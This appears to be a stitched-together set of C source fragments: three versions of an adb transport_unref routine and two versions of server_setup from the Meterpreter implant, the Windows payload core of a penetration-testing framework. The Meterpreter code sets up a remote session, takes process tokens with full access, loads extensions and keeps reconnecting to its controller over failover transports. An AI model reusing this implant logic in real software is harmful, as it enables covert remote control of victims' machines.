static void transport_unref_locked(atransport *t) { t->ref_count--; if (t->ref_count == 0) { D("transport: %s unref (kicking and closing)\n", t->serial); if (!t->kicked) { t->kicked = 1; t->kick(t); } t->close(t); remove_transport(t); } else { D("transport: %s unref (count=%d)\n", t->serial, t->ref_count); } }
static void transport_unref(atransport* t) { CHECK(t != nullptr); adb_mutex_lock(&transport_lock); CHECK_GT(t->ref_count, 0u); t->ref_count--; if (t->ref_count == 0) { D("transport: %s unref (kicking and closing)", t->serial); kick_transport_locked(t); t->close(t); remove_transport(t); } else { D("transport: %s unref (count=%zu)", t->serial, t->ref_count); } adb_mutex_unlock(&transport_lock); }
static void transport_unref(atransport *t) { if (t) { adb_mutex_lock(&transport_lock); t->ref_count--; D("transport: %p R- (ref=%d)\n", t, t->ref_count); if (t->ref_count == 0) { D("transport: %p kicking and closing\n", t); if (!t->kicked) { t->kicked = 1; t->kick(t); } t->close(t); remove_transport(t); } adb_mutex_unlock(&transport_lock); } }
/*! * @brief Setup and run the server. This is called from Init via the loader. * @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions. * @return Meterpreter exit code (ignored by the caller). */ DWORD server_setup(MetsrvConfig* config) { THREAD* serverThread = NULL; Remote* remote = NULL; char stationName[256] = { 0 }; char desktopName[256] = { 0 }; DWORD res = 0; dprintf("[SERVER] Initializing from configuration: 0x%p", config); dprintf("[SESSION] Comms Fd: %u", config->session.comms_fd); dprintf("[SESSION] Expiry: %u", config->session.expiry); dprintf("[SERVER] UUID: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", config->session.uuid[0], config->session.uuid[1], config->session.uuid[2], config->session.uuid[3], config->session.uuid[4], config->session.uuid[5], config->session.uuid[6], config->session.uuid[7], config->session.uuid[8], config->session.uuid[9], config->session.uuid[10], config->session.uuid[11], config->session.uuid[12], config->session.uuid[13], config->session.uuid[14], config->session.uuid[15]); // if hAppInstance is still == NULL it means that we havent been // reflectivly loaded so we must patch in the hAppInstance value // for use with loading server extensions later. InitAppInstance(); srand((unsigned int)time(NULL)); __try { do { dprintf("[SERVER] module loaded at 0x%08X", hAppInstance); // Open a THREAD item for the servers main thread, we use this to manage migration later. serverThread = thread_open(); dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm); if (!(remote = remote_allocate())) { SetLastError(ERROR_NOT_ENOUGH_MEMORY); break; } setup_ssl_lib(&remote->ssl); remote->orig_config = config; remote->sess_expiry_time = config->session.expiry; remote->sess_start_time = current_unix_timestamp(); remote->sess_expiry_end = remote->sess_start_time + config->session.expiry; dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end); DWORD transportSize = 0; if (!create_transports(remote, config->transports, &transportSize)) { // not good, bail out! SetLastError(ERROR_BAD_ARGUMENTS); break; } // the first transport should match the transport that we initially connected on. // If it's TCP comms, we need to wire that up. if (remote->transport->type == METERPRETER_TRANSPORT_SSL && config->session.comms_fd) { ((TcpTransportContext*)remote->transport->ctx)->fd = (SOCKET)config->session.comms_fd; } // Set up the transport creation function pointer remote->trans_create = create_transport; // Set up the transport removal function pointer remote->trans_remove = remove_transport; // and the config creation pointer remote->config_create = config_create; // Store our thread handle remote->server_thread = serverThread->handle; dprintf("[SERVER] Registering dispatch routines..."); register_dispatch_routines(); // this has to be done after dispatch routine are registered load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize)); // Store our process token if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token)) { OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->server_token); } if (scheduler_initialize(remote) != ERROR_SUCCESS) { SetLastError(ERROR_BAD_ENVIRONMENT); break; } // Copy it to the thread token remote->thread_token = remote->server_token; // Save the initial session/station/desktop names... remote->orig_sess_id = server_sessionid(); remote->curr_sess_id = remote->orig_sess_id; GetUserObjectInformation(GetProcessWindowStation(), UOI_NAME, &stationName, 256, NULL); remote->orig_station_name = _strdup(stationName); remote->curr_station_name = _strdup(stationName); GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &desktopName, 256, NULL); remote->orig_desktop_name = _strdup(desktopName); remote->curr_desktop_name = _strdup(desktopName); remote->sess_start_time = current_unix_timestamp(); // loop through the transports, reconnecting each time. while (remote->transport) { if (remote->transport->transport_init) { dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport); // Each transport has its own set of retry settings and each should honour // them individually. if (!remote->transport->transport_init(remote->transport)) { dprintf("[SERVER] transport initialisation failed, moving to the next transport"); remote->transport = remote->transport->next_transport; // when we have a list of transports, we'll iterate to the next one. continue; } } dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx); DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread); dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult); if (remote->transport->transport_deinit) { dprintf("[DISPATCH] deinitialising transport"); remote->transport->transport_deinit(remote->transport); } dprintf("[TRANS] resetting transport"); if (remote->transport->transport_reset) { remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL); } // If the transport mechanism failed, then we should loop until we're able to connect back again. if (dispatchResult == ERROR_SUCCESS) { dprintf("[DISPATCH] Server requested shutdown of dispatch"); // But if it was successful, and this is a valid exit, then we should clean up and leave. if (remote->next_transport == NULL) { dprintf("[DISPATCH] No next transport specified, leaving"); // we weren't asked to switch transports, so we exit. break; } // we need to change transports to the one we've been given. We will assume, for now, // that the transport has been created using the appropriate functions and that it is // part of the transport list. dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport); remote->transport = remote->next_transport; remote->next_transport = NULL; } else { // move to the next one in the list dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport); remote->transport = remote->transport->next_transport; } // transport switching and failover both need to support the waiting functionality. if (remote->next_transport_wait > 0) { dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait); sleep(remote->next_transport_wait); // the wait is a once-off thing, needs to be reset each time remote->next_transport_wait = 0; } } // clean up the transports while (remote->transport) { remove_transport(remote, remote->transport); } dprintf("[SERVER] Deregistering dispatch routines..."); deregister_dispatch_routines(remote); } while (0); dprintf("[DISPATCH] calling scheduler_destroy..."); scheduler_destroy(); dprintf("[DISPATCH] calling command_join_threads..."); command_join_threads(); remote_deallocate(remote); } __except (exceptionfilter(GetExceptionCode(), GetExceptionInformation())) { dprintf("[SERVER] *** exception triggered!"); thread_kill(serverThread); } dprintf("[SERVER] Finished."); return res; }
/*! * @brief Setup and run the server. This is called from Init via the loader. * @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions. * @return Meterpreter exit code (ignored by the caller). */ DWORD server_setup(MetsrvConfig* config) { THREAD * serverThread = NULL; Remote *remote = NULL; char cStationName[256] = { 0 }; char cDesktopName[256] = { 0 }; DWORD res = 0; dprintf("[SERVER] Initializing..."); int local_error = 0; dprintf("[SERVER] Initializing from configuration: 0x%p", config); dprintf("[SESSION] Comms Fd: %u", config->session.comms_fd); dprintf("[SESSION] Expiry: %u", config->session.expiry); srand(time(NULL)); // Open a THREAD item for the servers main thread, we use this to manage migration later. serverThread = thread_open(); dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm); if (!(remote = remote_allocate())) { SetLastError(ERROR_NOT_ENOUGH_MEMORY); goto out; } remote->orig_config = config; remote->sess_expiry_time = config->session.expiry; remote->sess_start_time = current_unix_timestamp(); remote->sess_expiry_end = remote->sess_start_time + config->session.expiry; remote->orig_config = config; remote->sess_expiry_time = config->session.expiry; remote->sess_start_time = current_unix_timestamp(); remote->sess_expiry_end = remote->sess_start_time + config->session.expiry; dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end); DWORD transportSize = 0; if (!create_transports(remote, config->transports, &transportSize)) { // not good, bail out! SetLastError(ERROR_INVALID_PARAMETER); goto out; } // the first transport should match the transport that we initially connected on. // If it's TCP comms, we need to wire that up. if (config->session.comms_fd) { ((TcpTransportContext*)remote->transport->ctx)->fd = (SOCKET)config->session.comms_fd; } // TODO: need to implement this when we have the valid approach done for stageless. //load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize)); // Set up the transport creation function pointer remote->trans_create = create_transport; // Set up the transport removal function pointer remote->trans_remove = remove_transport; // and the config creation pointer remote->config_create = config_create; // Store our thread handle remote->server_thread = serverThread->handle; dprintf("[SERVER] Registering dispatch routines..."); register_dispatch_routines(); remote->sess_start_time = current_unix_timestamp(); // loop through the transports, reconnecting each time. while (remote->transport) { if (remote->transport->transport_init) { dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport); // Each transport has its own set of retry settings and each should honour // them individually. if (!remote->transport->transport_init(remote->transport)) { dprintf("[SERVER] transport initialisation failed, moving to the next transport"); remote->transport = remote->transport->next_transport; // when we have a list of transports, we'll iterate to the next one. continue; } } dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx); DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread); dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult); if (remote->transport->transport_deinit) { dprintf("[DISPATCH] deinitialising transport"); remote->transport->transport_deinit(remote->transport); } dprintf("[TRANS] resetting transport"); if (remote->transport->transport_reset) { remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL); } // If the transport mechanism failed, then we should loop until we're able to connect back again. if (dispatchResult == ERROR_SUCCESS) { dprintf("[DISPATCH] Server requested shutdown of dispatch"); // But if it was successful, and this is a valid exit, then we should clean up and leave. if (remote->next_transport == NULL) { dprintf("[DISPATCH] No next transport specified, leaving"); // we weren't asked to switch transports, so we exit. break; } // we need to change transports to the one we've been given. We will assume, for now, // that the transport has been created using the appropriate functions and that it is // part of the transport list. dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport); remote->transport = remote->next_transport; remote->next_transport = NULL; if (remote->next_transport_wait > 0) { dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait); sleep(remote->next_transport_wait); // the wait is a once-off thing, needs to be reset each time remote->next_transport_wait = 0; } } else { // move to the next one in the list dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport); remote->transport = remote->transport->next_transport; } } // clean up the transports while (remote->transport) { remove_transport(remote, remote->transport); } dprintf("[SERVER] Deregistering dispatch routines..."); deregister_dispatch_routines(remote); remote_deallocate(remote); out: res = GetLastError(); dprintf("[SERVER] Finished."); return res == ERROR_SUCCESS; }